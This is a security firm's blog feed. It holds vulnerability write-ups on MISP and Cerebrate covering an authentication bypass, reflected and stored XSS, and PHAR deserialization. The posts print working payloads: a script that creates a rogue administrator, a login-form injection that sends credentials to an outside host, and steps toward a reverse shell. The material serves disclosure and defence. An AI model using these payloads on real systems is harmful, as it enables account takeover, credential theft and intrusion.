So there you have, three types of penetration tests to choose from, each with its pros and cons. At the end of the day, you need to go with what’s right for your organization and testing objectives. Want to simulate an outside attack with limited internal knowledge? Black-box is the way to go. Need to validate internal controls and policies? Choose white-box. Unsure and want the best of both worlds? grey-box penetration test has you covered. The most important thing is taking that crucial first step to assess your cyber risk. Don’t delay, start evaluating your options today and get scheduled for a penetration test. Staying on top of security and compliance has never been more critical. Any penetration test is better than none, and you’ll gain valuable insights into strengthening your security posture regardless of which method you select. The threats are out there, but with the right penetration test partner or consultancy firm by your side helping you uncover weaknesses before the bad actors do, you can rest assured you’re doing everything possible to lock them out. So take a deep breath and dive in!

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł Black-box vs. Grey-box vs. White-box: Which Penetration Test Is Right for You? pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – Forgotten Endpoint: Authentication bypass with /open prefix https://zigrin.com/cakephp-application-cybersecurity-research-forgotten-endpoint-authentication-bypass-with-open-prefix/ Wed, 19 Jul 2023 11:00:00 +0000 https://zigrin.com/?p=11858 Web applications are often the first target for attackers due to the vast amount of sensitive information they contain. Ensuring the security of these applications is crucial to protect both users and businesses from potential cyber threats. One of the most effective ways to identify vulnerabilities in web applications is through web application penetration testing. […]

Artykuł CakePHP Application Cybersecurity Research – Forgotten Endpoint: Authentication bypass with /open prefix pochodzi z serwisu Web Application Security Testing.

]]>
Web applications are often the first target for attackers due to the vast amount of sensitive information they contain. Ensuring the security of these applications is crucial to protect both users and businesses from potential cyber threats. One of the most effective ways to identify vulnerabilities in web applications is through web application penetration testing. In this comprehensive guide, we’ll explore the importance of web application penetration testing, focusing primarily on uncovering authentication bypass vulnerabilities with an example vulnerability that Dawid found in Cerebrate using the /open prefix.

In this article you will find:

Introduction to Web Application Penetration Testing

Web application penetration testing is a systematic process of evaluating web applications’ security by simulating real-world attacks. The goal is to identify vulnerabilities and weaknesses that attackers could exploit to gain unauthorized access, steal sensitive data, or disrupt operations. By conducting web application penetration testing, companies can proactively address security issues and reduce the risk of a successful cyber attack.

what is web application penetration testing

Authentication in Web Applications

Authentication is a critical component of web application security, as it verifies the identity of users attempting to access the application. By providing login credentials (such as a username and password), users prove their identity and are granted access to specific resources and functionalities within the application.

However, attackers can exploit vulnerabilities in the authentication process to gain unauthorized access to sensitive data and functions. One such vulnerability is authentication bypass, where an attacker can bypass the authentication mechanism and directly access protected resources without providing valid credentials. On the other hand, in some rare cases there could be a vulnerable endpoint like our example /open prefix that allow direct access to functions and information without any authorization control.

Authentication Bypass Vulnerabilities

An authentication bypass vulnerability could occur when an application exposes an alternative path to a protected resource that does not require authentication. This allows unauthenticated users to access resources and functionalities that should only be available to authenticated users. Such vulnerabilities can compromise the confidentiality and integrity of the application’s data and functionalities.

There are several reasons why authentication bypass vulnerabilities can exist in web applications:

  • Insecure default settings or configurations
  • Flaws in the authentication logic or implementation
  • Weak or easily guessable credentials
  • Insufficient access control mechanisms
authentication bypass

Understanding the /open Prefix Vulnerability in Cerebrate

During the web application penetration testing, Dawid detected a vulnerable endpoint that allows access “Organisations” and “Individuals” controllers by unauthenticated visitors. This /open prefix vulnerability is an example of an authentication bypass vulnerability. 

An attacker could exploit this vulnerability by sending a request to the application with the /open prefix, bypassing the need for authentication. The application would then return a list of organizations or individuals, potentially exposing sensitive information to an unauthorized user.

As you can see in the following screenshots, we were able to exfiltrate a list of organisations and individuals.

This one is for individuals:

open endpoints vulnerability example

And this one is for organisations:

Also, if you want to make sure there is no cookie or token sent via your browser during request, you could use the following curl command to access the protected pages without providing any credentials while testing similar vulnerabilities:

curl -X GET 'http://example.com/open/organisations'
curl -X GET 'http://example.com/open/individuals'

Here is another screenshot that demonstrates curl command usage to access organizations without providing any token, cookie or credentials:

Detecting Authentication Bypass Vulnerabilities

Detecting authentication bypass vulnerabilities requires a thorough understanding of the web application’s authentication mechanism, access control policies, and potential alternative paths to protected resources. 

Web application penetration testers can use various tools and techniques to identify these vulnerabilities but in such unexpected cases the best way is, manual testing and analysis of the application’s source code, configuration files, and access control policies.

detecting authentication bypass vulnerabilities

Exploiting Authentication Bypass Vulnerabilities

Once an authentication bypass vulnerability is identified, an attacker can exploit it to gain unauthorized access to protected resources or functionalities. This could involve sending specially crafted requests to the application, manipulating input data, or modifying browser cookies and session tokens.

In the case of the /open prefix vulnerability, an attacker could use a tool like curl or a web browser to send requests to the vulnerable controllers without providing any authentication credentials. This would allow them to access sensitive data and potentially perform actions reserved for authenticated users.

Impact of Authentication Bypass Vulnerabilities

The impact of authentication bypass vulnerabilities can be severe, depending on the sensitivity of the data and functions exposed. Unauthorized access to an application can result in data breaches, loss of business-critical information, and reputational damage.

Moreover, if an attacker can compromise a high-privileged account function, such as an administrator, they could gain full control of the application and its underlying infrastructure. Even compromising low-privileged accounts functions can provide attackers with additional attack surfaces, as they may be able to access internal pages and resources not typically available to the public.

Preventing Authentication Bypass Vulnerabilities

To minimize the risk of authentication bypass vulnerabilities, organizations should:

  • Implement robust and secure authentication mechanisms, including multi-factor authentication (MFA) and strong password policies
  • Regularly update and patch systems, software, and applications to address known vulnerabilities
  • Conduct thorough web application penetration testing to identify and remediate potential authentication bypass vulnerabilities
  • Ensure proper access control policies and configurations are in place, including the principle of least privilege
  • Continuously monitor and audit application access logs and user activities for signs of unauthorized access or suspicious activity
  • And most importantly, review the authorization schema of the application. Access to all controllers and actions besides required ones like login or register should be accessible only to authenticated users
ways to prevent authentication bypass

Conclusion

Web application penetration testing is a critical component of ensuring the security of web applications and protecting sensitive data from unauthorized access. By proactively identifying and addressing authentication bypass vulnerabilities, such as the /open prefix vulnerability, organizations can reduce the risk of successful cyber attacks and maintain a strong security posture.

Remember that web application penetration testing is an ongoing process, and new vulnerabilities may emerge as applications evolve and attackers develop new techniques. Regularly updating and testing your web applications is essential to maintaining a secure environment and protecting your organization from potential threats.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – Forgotten Endpoint: Authentication bypass with /open prefix pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – Be Careful with Reflections For Your Web Application Security https://zigrin.com/cakephp-application-cybersecurity-research-be-careful-with-reflections-for-your-web-application-security/ Wed, 28 Jun 2023 11:00:00 +0000 https://zigrin.com/?p=11815 Web application security is a critical aspect of maintaining secure and reliable online services. One of the most commonly exploited vulnerabilities in web applications is reflected Cross-Site Scripting (XSS). This article will explore this vulnerability, a real-life example reflected XSS Dawid found in Cerebrate, its impact, and how to protect your site from this threat. […]

Artykuł CakePHP Application Cybersecurity Research – Be Careful with Reflections For Your Web Application Security pochodzi z serwisu Web Application Security Testing.

]]>
Web application security is a critical aspect of maintaining secure and reliable online services. One of the most commonly exploited vulnerabilities in web applications is reflected Cross-Site Scripting (XSS). This article will explore this vulnerability, a real-life example reflected XSS Dawid found in Cerebrate, its impact, and how to protect your site from this threat.

In this article you will find:

Understanding Reflected XSS

Reflected Cross-Site Scripting (XSS) is a type of web vulnerability that occurs when an attacker injects malicious code into a website, and that code is then reflected back to the user’s browser.  This occurs when the application fails to properly sanitize user input before including it in the output. When the victim’s browser loads the malicious content, the injected script is executed, potentially compromising the user’s data and interactions with the application.

what is reflected xss

Primary Components of Reflected XSS

  • User Input: The attacker injects malicious code into user input fields, such as search boxes or login forms.
  • Unsanitized Output: The web application does not properly sanitize the user input and includes it in the output, such as search results or error messages.
  • Script Execution: The victim’s browser executes the malicious script, allowing the attacker to perform actions on the victim’s behalf or access sensitive data.
Reflected XSS

What is the Difference Between Stored XSS and Reflected XSS?

Stored XSS, also known as Persistent XSS, is another type of XSS vulnerability. Unlike Reflected XSS, where the malicious code is immediately reflected back to the user, Stored XSS involves the persistent storage of the malicious payload on the target server. This payload is then served to other users who access the affected page.

The main difference between Stored XSS and Reflected XSS lies in how the malicious payload is delivered. In Stored XSS, the attacker injects code that is permanently stored on the target server and subsequently displayed to multiple users. On the other hand, in Reflected XSS, the attacker injects code that is reflected back to a specific user, typically through a manipulated URL or form input.

difference between Stored XSS and Reflected XSS

Identifying and Testing for Reflected XSS Vulnerabilities

To identify and test for reflected XSS vulnerabilities, it is crucial to examine every entry point for data within the application’s HTTP requests. This includes parameters or other data within the URL query string, message body, and URL file path, as well as HTTP headers.

Steps to Test for Reflected XSS

  1. Test Every Entry Point: Test each entry point for data within the application’s HTTP requests, including parameters, URL query string, message body, and HTTP headers.
  2. Submit Random Alphanumeric Values: For each entry point, submit a unique random value and determine whether the value is reflected in the response.
  3. Determine the Reflection Context: For each location where the random value is reflected, determine its context (e.g., text between HTML tags, within a tag attribute, within a JavaScript string, etc.)
  4. Test Payload: Based on the context of the reflection, test an initial candidate XSS payload that will trigger JavaScript execution if it is reflected unmodified within the response.
  5. Test Alternative Payloads: If the candidate XSS payload is modified or blocked, test alternative payloads and techniques such as URL encoding the payload that might deliver a successful XSS attack.
  6. Confirm the Attack in a Browser: If you find a payload that appears to work within a testing tool, transfer the attack to a real browser and see if the injected JavaScript is indeed executed.
reflected XSS testing

The Attack Scenario: A Real-World Example

During the security research, with the help of our open-source vulnerability scanner CakeFuzzer, Dawid discovered that the application vulnerability was caused by insufficient output sanitization. The attacker could use the “modifySettingAction“ function under the local tools to inject malicious code into the application, which would then be reflected and executed in the victim’s browser.

The tricky part is, at least one MISP connection has to be created in Cerebrate in order to exploit this vulnerability.

To illustrate the attack scenario we created the following malicious script and uploaded it to our server:

u = '/users/add'; $.get(u, function(d) {					
r = /_Token\[fields\]".*?value="([^"]+)"/g; t = r.exec(d)[1];
 r = /_csrfToken.*?value="([^"]+)"/g;
 c = r.exec(d)[1];					
$.post(u, {
 _csrfToken: c,
 '_Token[fields]': t,
 individual_id: 1,
 username: 'reflected_xss_user', organisation_id: 1,
 password: '123qweASD!@#', confirm_password: '123qweASD!@#', role_id: 1,
 disabled: 0,
 '_Token[unlocked]': ''						
}); })

This script was accessible under the following URL when we were testing: https://our-public-domain/xss-cerebrate-125719276512.js 

Breaking Down the Malicious Script

If you want to understand malicious script components, here it is:

  1. It sends a GET request to /users/add using XMLHttpRequest.
  2. Once the response is received, the script extracts two values from the response data: a CSRF token and a token for a form field.
    1. The CSRF token is extracted using a regular expression (/_csrfToken.*?value=”([^”]+)”/g).
    2. The form field token is extracted using another regular expression (/_Token\[fields]”.*?value=”([^”]+)”/g).
  3. After obtaining these values, the script sends a POST request to the same URL (/users/add) with the following data:
    1. _csrfToken: The extracted CSRF token.
    2. ‘_Token[fields]’: The extracted form field token.
    3. individual_id: An ID value for the individual.
    4. username: The username of the user being created (reflected_xss_user in this case).
    5. organisation_id: The ID value for the organization.
    6. password and confirm_password: The desired password and its confirmation.
    7. role_id: The ID value for the user’s role.
    8. disabled: A flag indicating whether the user is disabled (0 in this case).
    9. ‘_Token[unlocked]’: An empty value for an unlocked token.

Before executing the attack there were only 8 users on Cerebrate instance as you can see in the following screenshot:

As an example scenario, let’s assume we convinced the Cerebrate’s administrator to click the following URL and JavaScript is executed:

http://dawid:8000/localTools/action/1/modifySettingAction?setting=<script src="proxy.php?url=https://our-public-domain.com/xss- cerebrate-125719276512.js"></script>

Finally, executed JavaScript code from the adversary’s server results in a creation of a new administrator (reflected_xss_user) on the Cerebrate application:

Potential Consequences of Reflected XSS Attacks

Reflected XSS can have severe consequences for both users and websites. Some potential vulnerabilities and consequences include:

  • Unauthorized access: Attackers can use Reflected XSS to steal sensitive user information, such as login credentials, or personal data. To do these, reflected XSS vulnerabilities can be used to create realistic-looking phishing pages that trick users into disclosing their sensitive information.
  • Cookie theft: By exploiting XSS vulnerabilities, attackers can hijack user sessions by stealing their session cookies, which can lead to unauthorized account access.
  • Defacement: Attackers may inject malicious code to modify the appearance or content of the web page, leading to defacement and a negative impact on the website’s reputation.
  • Malware distribution: Attackers can inject malicious scripts that redirect users to websites hosting malware, leading to the installation of harmful software on their systems.
reflected xss attacks consequences

Protecting Your Site from Reflected XSS Attacks

To protect your site from reflected XSS attacks, it is essential to implement proper output sanitization. It’s important to note that user input can not only come from the HTTP request but also from the database in form of comments, posts, messages, etc, so do not forget to secure these endpoints. Additionally, there are several other measures you can take to enhance your web application security:

  • Use a Web Application Firewall (WAF): A WAF can help detect and block potential XSS attacks, providing an additional layer of protection.
  • Output validation and sanitization
    • One of the most important steps in preventing reflected XSS attacks is to properly validate and sanitize output generated using the user-provided data in the front end before presenting it to the user. There are many different output encoding methods because browsers parse HTML, JS, URLs, and CSS differently.
  • Use HTTP Headers
    • X-XSS-Protection: This header is used by older web browsers to enable or disable the built-in XSS filtering. It can be set to the value ‘1; mode=block’ to enable the filtering, or ‘0’ to disable it.
    • X-Content-Type-Options: This header helps prevent certain types of XSS attacks by preventing the browser from interpreting files as a different MIME type than the one specified by the server. The value of this header should be set to nosniff.
    • Content-Security-Policy (CSP): This header allows a web application to specify which sources of content are allowed to be loaded by the browser. It provides a way to enforce a whitelist of trusted sources and can help prevent XSS attacks by blocking untrusted sources. For example, a CSP header might look like this:
      • Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted-domain.com; object-src ‘none’
    • Strict-Transport-Security (HSTS): This header helps prevent SSL-stripping attacks, which can be used to facilitate XSS attacks. By setting this header, a web application can specify that it should only be accessed over a secure, encrypted connection.
  • Use HttpOnly and Secure Cookie Flags:

Cookie flags are an important aspect of securing cookies from Cross-Site Scripting (XSS) attacks. Cookie flags are attributes that can be set on cookies when they are sent from the server to the client. They define the behaviour of the cookie and can help prevent XSS attacks by limiting the scope of the cookie and making it more secure.

  • The HttpOnly flag can be set on a cookie to prevent JavaScript from accessing its content.
  • The Secure flag ensures that the cookie is only sent over encrypted connections (HTTPS), which helps to prevent eavesdropping and tampering by attackers.
  • Another flag, SameSite, can be used to prevent the cookie from being sent with cross-site requests.

These flags help to make cookies more secure and can play an important role in preventing XSS attacks.

  • Educate Users: Inform your users about the risks of clicking on suspicious links and encourage them to be vigilant when interacting with emails, website comments sections, and social media feeds.

Remediations Summary

It’s important to keep in mind that preventing reflected XSS vulnerabilities requires a multi-layered approach, involving a combination of technical and procedural measures. By taking these steps, administrators and developers can help prevent reflected XSS attacks and protect the application and its users from potential harm.

Conclusion

Reflected XSS is a significant threat to web application security, as it allows attackers to compromise user data and interactions with vulnerable applications. By understanding the nature of this vulnerability, testing your application for potential weaknesses, and implementing the necessary safeguards, you can help protect your site and its users from the dangers of reflected XSS attacks.

!This article is part of the series dedicated to the CakePHP application cybersecurity research. The next one will describe the authentication bypass with /open prefix.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – Be Careful with Reflections For Your Web Application Security pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – Protect Your Website from Stored XSS Attacks: Understanding and Preventing Vulnerabilities in Open-source Applications https://zigrin.com/cakephp-application-cybersecurity-research-protect-your-website-from-stored-xss-attacks-understanding-and-preventing-vulnerabilities-in-open-source-applications/ Wed, 07 Jun 2023 11:00:00 +0000 https://zigrin.com/?p=11290 Stored Cross-Site Scripting (XSS) are relatively common and dangerous vulnerabilities that can compromise your web application’s security. In this article, we will discuss what stored XSS attacks are, their impact on website security, and stored XSS protection in web applications with examples of stored XSS vulnerability we found in MISP. In this article you will […]

Artykuł CakePHP Application Cybersecurity Research – Protect Your Website from Stored XSS Attacks: Understanding and Preventing Vulnerabilities in Open-source Applications pochodzi z serwisu Web Application Security Testing.

]]>
Stored Cross-Site Scripting (XSS) are relatively common and dangerous vulnerabilities that can compromise your web application’s security. In this article, we will discuss what stored XSS attacks are, their impact on website security, and stored XSS protection in web applications with examples of stored XSS vulnerability we found in MISP.

In this article you will find:

Introduction to Stored XSS Attacks:

Cross-Site Scripting (XSS) attacks involve injecting malicious code into a website to steal data or modify content. Stored XSS attacks, also known as Persistent XSS attacks, occur when malicious code is injected into a web application and stored on the server for an extended period. The code can steal sensitive information, modify content, or redirect users to malicious websites.

Briefly, what is MISP and what findings have we discovered?

MISP is an open-source intelligence-sharing platform that allows organizations to share and store data securely. However, even MISP has vulnerabilities, including stored XSS. Recently, Dawid found a stored XSS vulnerability in the MISP application, which could allow an attacker to execute malicious code in a user’s browser. The attacker could then steal users’ authentication credentials, edit, or modify information, or redirect the user to a malicious website.

Technical Explanation and Examples of Stored XSS Attacks in the MISP Application

During the penetration testing, Dawid discovered that the application vulnerability was caused by insufficient output sanitization. The attacker could use the MISP API to inject malicious code into the application, which would then be stored in the database. We found that the vulnerability affected a couple of different places in the MISP applications and could be exploited using specially crafted input. Here is the list of affected components:

stored XSS attacks list of affected components

To demonstrate the impact of this vulnerability, we take a look at each case.

Case 1 – LinOTP Plugin

Okay, the first one is also the most impactful one. The LinOTP plugin contains a Stored XSS vulnerability allowing malicious administrators to inject a JavaScript payload inside the LinOTPAuth.baseUrl MISP setting. This payload will be later on executed by anyone viewing the MISP login page.

I am going to demonstrate the consequences with an example of a malicious administrator stealing victim users’ credentials when users authenticate to the application.

The following section allows injecting the malicious script:

Administration > Server Settings & Maintenance > Security Settings > LinOTPAuth.baseUrl

Credentials theft scenario:

To illustrate the vulnerability impact, we enabled the LinOTPAuth plugin and set the “LinOTPAuth.baseUrl” MISP setting to the following value:

https://127.0.0.1:9999/?q="></a><script>$(function(){$('#UserLoginForm ').submit(function(e){em=$("input#UserEmail").val();p=$("input#UserPas sword").val();alert("I'm stealing your email and password: "+em+": "+p);location.href='https://zigrin.com/misp-exfiltration?e='+em+'&p='+p;return false;});})</script><a href="

We changed those settings as a MISP administrator via the following link:

http://<MISP-SERVER>/servers/serverSettings/Security

When another user tries to log in, the following message appears:

stealing users credentials via stored XSS

Stealing users’ credentials via Stored XSS

Subsequently, the script redirects the user to the attacker’s-controlled website with his username and password in the URL. This password is saved in the logs of the attacker’s website:

password saved in logs

Do not forget that this is just an example scenario, a real attack could be conducted in a much stealthier way with no significant changes to the MISP behavior.

Case 2 – Galaxy clusters view

In the second case our point of injection is a galaxy cluster. As you will see in this example, MISP users assigned to a specific role can create and edit created galaxy clusters. This is available under the following URL path: /galaxy_clusters/view/1 .

By default, the following roles have assigned the “perm_galaxy_editor” permission, required to conduct these actions:

  • Administrator
  • Org admin
  • Sync user

A malicious user assigned to one of the above roles can inject a JavaScript code into the “Source” field of a new or edited galaxy cluster. This code will be executed by other users who view the details of this galaxy cluster.

We conducted the following steps to demonstrate this vulnerability:

  1. Visit the URL path: /galaxy_clusters/view/1
  2. Click the “Add Cluster” link
  3. Specify a name, for example, “XSS Cluster”
  4. Insert the following link in the source field and click “Submit”:
https://zigrin.com/source?a="><script>alert("Stored- XSS:"+document.domain)</script>

Do not forget that, the content has to be a valid URL without spaces. Immediately after pressing “Submit” the following alert box appears:

stored XSS in galaxy cluster view

Stored XSS in Galaxy Cluster view

Boom! An alert box, we all love to see one when testing XSSes. Now, this alert box will execute on the browsers of all users who will try to view this galaxy cluster via the following URL: http://misp.local/galaxy_clusters/view/10349

In a real-life scenario, an attacker can instruct the administrator’s browser to create a new administrator user and gain full administrative access to the MISP platform. But the attacker would have to utilize techniques to include more JavaScript payload as the “Source” input field is truncated to 255 characters.

Case 3 – Event graph view

MISP allows some users to create new tags that can be later on used in events and attributes.

By default, the following roles have assigned the “perm_tag_editor” permission, required to create new tags:

  • Administrator
  • Org admin
  • Sync user

When a malicious user with such permission creates a tag with injected JavaScript code, it will be executed when viewing an event graph of any MISP event.

We conducted the following steps to demonstrate this vulnerability:

  • Visit “Event Actions > Add Tag”
  • Specify a tag’s color, for example: #ffffff
  • Insert the following payload into the “Name” field and click “Submit”:
XSS'"><img src="proxy.php?url=aaa" onerror="alert`Storred XSS in event graph`" />

Subsequently, view any event created in the MISP instance from a victim’s perspective. Click on the event graph button:

event graph button triggering the XSS

Event graph button triggering the XSS

When clicked, the JavaScript code is executed and the alert box we have been waiting appears:

stored XSS executed in event graph view

Stored XSS executed in event graph view

Case 4 – Cerebrates

In this example, you will hear the familiar name of another CIRCL product, Cerebrate. But this vulnerability is not in Cerebrate. A Sync action for cerebrate in MISP allows entering a URL for a Cerebrate instance. This URL can contain the “javascript:” prefix followed by a JavaScript code. When an administrator injects a JavaScript code that way, this script will be executed when viewing the cerebrate information and clicking on the URL.

To illustrate the attack using this vulnerability we inserted the following payload into the Url field of a newly created Cerebrate instance:

javascript:alert(document.domain)

When any MISP administrator views this Cerebrate’s information and clicks on the URL the script executes:

JavaScript alert executed

JavaScript alert executed

The attack likelihood is considered very low here due to the following:

  • Payload can be injected only by MISP administrators
  • Payload targets other MISP administrators only
  • A victim administrator has to click on a suspiciously looking link for the successful attack

Generic Impact of Stored XSS Attacks:

Stored XSS attacks can have significant impacts on website security. Attackers can use the vulnerability to steal sensitive data such as user credentials, credit card information, or other personal information. Additionally, attackers can modify website content, leading to damage to the website’s reputation. They can also redirect users to malicious websites, infecting their computers with malware or ransomware. You can find the specific impacts for stored XSS we found in MISP in the previous section.

Best Practices for XSS Protection:

To remediate the stored cross-site scripting (stored XSS) vulnerabilities that are like what Dawid found in the open-source project MISP, there are several steps that can be taken to prevent similar attacks from occurring.

Output validation and sanitization

One of the most important steps in preventing stored XSS attacks is to properly validate and sanitize output generated using the user provided data in the front end before presenting it to the user. There are many different output encoding methods because browsers parse HTML, JS, URLs, and CSS differently.

It’s important to note that user input can not only come from the HTTP request but also from the database in form of comments, posts, messages, etc.

Use HTTP Headers

  • X-XSS-Protection: This header is used by modern web browsers to enable or disable the built-in XSS filtering. It can be set to the value ‘1; mode=block’ to enable the filtering, or ‘0’ to disable it.
  • X-Content-Type-Options: This header helps prevent certain types of XSS attacks by preventing the browser from interpreting files as a different MIME type than the one specified by the server. The value of this header should be set to nosniff.
  • Content-Security-Policy (CSP): This header allows a web application to specify which sources of content are allowed to be loaded by the browser. It provides a way to enforce a whitelist of trusted sources and can help prevent XSS attacks by blocking untrusted sources. For example, a CSP header might look like this:

Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted-domain.com; object-src ‘none’

  • Strict-Transport-Security (HSTS): This header helps prevent SSL-stripping attacks, which can be used to facilitate XSS attacks. By setting this header, a web application can specify that it should only be accessed over a secure, encrypted connection.

Cookie flags are an important aspect of securing cookies from Cross-Site Scripting (XSS) attacks. Cookie flags are attributes that can be set on cookies when they are sent from the server to the client. They define the behavior of the cookie and can help prevent XSS attacks by limiting the scope of the cookie and making it more secure.

  • The HttpOnly flag can be set on a cookie to prevent JavaScript from accessing its content.
  • The Secure flag ensures that the cookie is only sent over encrypted connections (HTTPS), which helps to prevent eavesdropping and tampering by attackers.
  • Another flag, SameSite, can be used to prevent the cookie from being sent with cross-site requests.

These flags help to make cookies more secure and can play an important role in preventing XSS attacks.

Remediations Summary

It’s important to keep in mind that preventing stored XSS vulnerabilities requires a multi-layered approach, involving a combination of technical and procedural measures. By taking these steps, administrators and developers can help prevent stored XSS attacks and protect the application and its users from potential harm.

Conclusion:

In conclusion, stored cross-site scripting (XSS) attacks pose a significant risk to the security of web applications. The vulnerabilities are caused by insufficient input sanitization, and the attacker can inject malicious code into the application, which is then stored in the database. In this article, we discussed stored XSS attacks, their impact on website security, and how to protect web applications from these attacks. We also used MISP, an open-source intelligence-sharing platform, as a case study to demonstrate the consequences of stored XSS attacks. By understanding the risks and implementing proper measures to prevent vulnerabilities, web developers and organizations can protect their websites from these attacks and ensure their users’ security.

!This article is part of the series dedicated to the CakePHP application cybersecurity research. The next one will describe the reflected XSS vulnerability.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł CakePHP Application Cybersecurity Research – Protect Your Website from Stored XSS Attacks: Understanding and Preventing Vulnerabilities in Open-source Applications pochodzi z serwisu Web Application Security Testing.

]]>
CakePHP Application Cybersecurity Research – Exploring the PHAR Deserialization PHP Vulnerability: A White Box Testing Example https://zigrin.com/cakephp-application-cybersecurity-research-exploring-the-phar-deserialization-php-vulnerability-a-white-box-testing-example/ Wed, 17 May 2023 11:00:00 +0000 https://zigrin.com/?p=11247 In this article, we are going to explore the topic of PHAR deserialization php vulnerability that Dawid found in a white box testing. Before we continue, let’s talk about PHAR a little bit and after that what is the PHAR deserialization php vulnerability. In this article you will find: What is PHAR? PHP Archive (in […]

Artykuł CakePHP Application Cybersecurity Research – Exploring the PHAR Deserialization PHP Vulnerability: A White Box Testing Example pochodzi z serwisu Web Application Security Testing.

]]>
In this article, we are going to explore the topic of PHAR deserialization php vulnerability that Dawid found in a white box testing. Before we continue, let’s talk about PHAR a little bit and after that what is the PHAR deserialization php vulnerability.

In this article you will find:

What is PHAR?

PHP Archive (in short PHAR) is a functionality that allows putting several PHP files into a single archive file for easy distribution and installation. This is similar functionality to the one provided by JAR files in the Java ecosystem. In addition, the PHP engine implements a “phar://” stream wrapper to access specific files within a PHP Archive. For example, to load the file.php from the myphar.phar file, you can use the following PHP code:

phar code example

Multiple default PHP functions that operate on files can parse PHP Archives and extract the desired PHP file. Examples of such functions include, file_exists, and fopen.

What is PHAR Deserialization PHP vulnerability?

When the PHP interpreter finds a phar wrapper in one of those functions, it loads the archive. Subsequently, the PHP interpreter deserializes the phar archive, which may result in executing a potentially dangerous action. Deserialization is the process of creating a PHP object from a stored representation. It allows translating a string or a file in a specific format to a PHP object. The deserialization process can be used in attacks when an attacker’s-controlled input is being deserialized. If the application does not implement sufficient protections, the attacker can craft the serialized object in a way to exploit the object instantiation and autoloading mechanisms of the PHP interpreter. This results in executing arbitrary PHP code on the vulnerable web application.

PHAR deserialization PHP vulnerability

When should you worry?

A phar deserialization vulnerability occurs when mainly the following conditions are met:

  • An application uses PHP functions operating on files with user-controlled input.
  • The user controls the beginning part of the file path.
  • The user can upload arbitrary files on the server.
  • The user knows the absolute path of the uploaded file.
  • The phar wrapper has not been unregistered.
  • The attacker has internal knowledge about existing classes, which allows him to construct specific serialized objects.

How does the exploitation of this php vulnerability look like?

The following steps describe the typical exploitation process:

  • The attacker learns about the classes loaded by the application. This happens either by reading the source code of the application if possible or by understanding what libraries or frameworks are used by the application. Another way would be to try classes of typical libraries that are used by other applications.
  • The attacker crafts a malicious phar file and uploads it to the server.
  • The attacker locates the absolute path of the previously uploaded file.
  • The attacker sends the absolute path to the uploaded file prepended with the “phar://” prefix to the vulnerable application endpoint.
  • The application uses the user-supplied path with the “phar://” prefix to conduct operations on the file such as checking if the file exists with the function “file_exists”.
  • The PHP interpreter unpacks the phar file and reads its metadata.
  • The PHP interpreter deserializes the metadata crafted by the adversary.
  • During the instantiation, autoloading, or destruction of the object, the PHP interpreter conducts malicious actions based on the adversary’s-controlled data such as executing code on the operating system.

The exploitation of this vulnerability very often leads to remote code execution on the application’s server. This impacts the confidentiality, integrity, and availability of the application as the attacker gains internal access to the application’s operating system.

What exactly we found?

During the White box testing security assessment that we conducted for MISP open-source threat intelligence application, we discovered multiple areas of the application vulnerable to “phar deserialization”. The following table highlights these areas:

phar deserialization vulnerable areas

Another place vulnerable to “phar deserialization” was the CertAuth plugin. The method getRestUser of the class CertificateAuthenticate in the file “app/Plugin/CertAuth/Controller/Component/Auth/CertificateAuthenticate.php” at line 262 seems to load a file from an URL. This URL is provided in the configuration variable at line 223. The configuration variable could be potentially modified by an administrator, which could lead to the exploitation of this vulnerability.

Example scenario: Kafka integration exploitation case

If you’re familiar with MISP, you may have heard that there is a plugin for publishing events to Apache Kafka. But here’s something you may not know: if this certain plugin is enabled, a rogue MISP administrator could potentially use it to execute malicious code on the operating system.

Let’s break this down a bit to exploit this vulnerability before diving in to exploitation:

  1. Generate a malicious phar file.
  2. Upload phar file to the server.
  3. Enable Apache Kafka plugin in MISP.
  4. Provide a path to the uploaded phar plugin.
  5. Setup a listener.
  6. Publish any event.

Step 1 – Generating a malicious phar file

To generate the malicious phar file we used the PHPGGC software:

generating malicious phar file

The command included in the “exploit.phar” file will initiate a reverse shell connection on port 1111, host dawid, which should be considered as a machine controlled by the adversary.

Note, the CLI php.ini file on the host where generation occurs needs to have the following line:

CLI php.ini file line

Step 2 – Uploading the generated phar file

During this white box security example, we choose to upload our malicious file as an organization logo. This can be done under the following URL: http://<MISP-SERVER>/admin/organisations/edit/1

uploading the generated phar file

Step 3 – Enabling the Kafka plugin in MISP

To enable the Kafka plugin, we conducted the following actions:

  • Go to https://<MISP-SERVER>/servers/serverSettings/Plugin
  • Expand the „Kafka” section.
enabling Kafka plugin
  • Enable the following settings:

o Plugin.Kafka_enable

enabling Kafka plugin

o Plugin.Kafka_event_publish_notifications_enable

enabling kafka plugin

Step 4 – Setting the correct Kafka config path

The uploaded phar file was available under the URL: http://<MISP-SERVER>/img/orgs/1.png

MISP was installed under the default filesystem path. Because of that, the organization image was uploaded to the following absolute server path: phar:///var/www/MISP/app/webroot/img/orgs/1.png We provided this path in the following Kafka setting: Plugin.Kafka_rdkafka_config

Step 5 – Setting up a listener

To receive the connection from the server, we started listener on the attacker’s machine called dawid using the netcat command:

setting up listener

Step 6 – Publishing an event

We created an empty event in the Event Actions > Add events and published it using the “Publish Event” link in the event’s view.

As a result, the connection was established and we were granted shell access to the operating system where the MISP application was installed:

publishing event phar desarialization

The source code file MISP/app/Model/AppModel.php is vulnerable in line 2590 (method getKafkaPubTool):

kafka code
What is the impact of this php vulnerability?

It is very important to note that, the vulnerability can be exploited by MISP administrators only. This alone lower the severity of this vulnerability.

However, a similar vulnerability was discovered by Ianis Bernard from NATO Cyber Security Centre that can be exploited by non-administrator users. You can find more information under this link.

